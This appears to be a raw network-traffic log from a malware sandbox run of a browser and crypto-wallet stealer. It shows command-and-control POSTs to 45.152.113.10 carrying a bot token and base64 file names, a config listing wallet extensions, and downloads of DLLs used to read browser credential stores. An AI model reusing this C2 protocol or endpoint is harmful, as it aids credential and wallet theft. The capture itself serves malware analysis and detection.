Sep 11, 2024 22:52:02.142189026 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 11, 2024 22:52:02.142225027 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 11, 2024 22:52:02.142258883 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 11, 2024 22:52:02.147118092 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 11, 2024 22:52:02.147154093 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Sep 11, 2024 22:52:02.148659945 CEST	468	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 45.152.113.10 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"fplugins------GIJJKKJJDAAAAAKFHJJD--
Sep 11, 2024 22:52:02.283520937 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 11, 2024 22:52:02.350218058 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 45.152.113.10 Content-Length: 8523 Connection: Keep-Alive Cache-Control: no-cache
Sep 11, 2024 22:52:02.350218058 CEST	8523	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 11, 2024 22:52:02.526312113 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:02.527147055 CEST	92	OUT	GET /15a25e53742510fe/sqlite3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 11, 2024 22:52:02.900156021 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 11, 2024 22:52:02.900204897 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 11, 2024 22:52:02.900235891 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 11, 2024 22:52:02.900253057 CEST	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR
Sep 11, 2024 22:52:02.900899887 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 11, 2024 22:52:03.760529995 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDG Host: 45.152.113.10 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 11, 2024 22:52:03.915846109 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:03.999931097 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 45.152.113.10 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 11, 2024 22:52:04.227499962 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:04.242723942 CEST	563	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCF Host: 45.152.113.10 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file"------JKJDAEBFCBKECBGDBFCF--
Sep 11, 2024 22:52:04.394092083 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:04.866036892 CEST	563	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJ Host: 45.152.113.10 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="file"------KFIDBAFHCAKFBGCBFHIJ--
Sep 11, 2024 22:52:05.005737066 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:05.173063993 CEST	92	OUT	GET /15a25e53742510fe/freebl3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 11, 2024 22:52:05.304469109 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 11, 2024 22:52:05.894190073 CEST	92	OUT	GET /15a25e53742510fe/mozglue.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 11, 2024 22:52:06.024934053 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 11, 2024 22:52:06.593127012 CEST	93	OUT	GET /15a25e53742510fe/msvcp140.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 11, 2024 22:52:06.723766088 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 11, 2024 22:52:07.033962011 CEST	89	OUT	GET /15a25e53742510fe/nss3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 11, 2024 22:52:07.164675951 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text 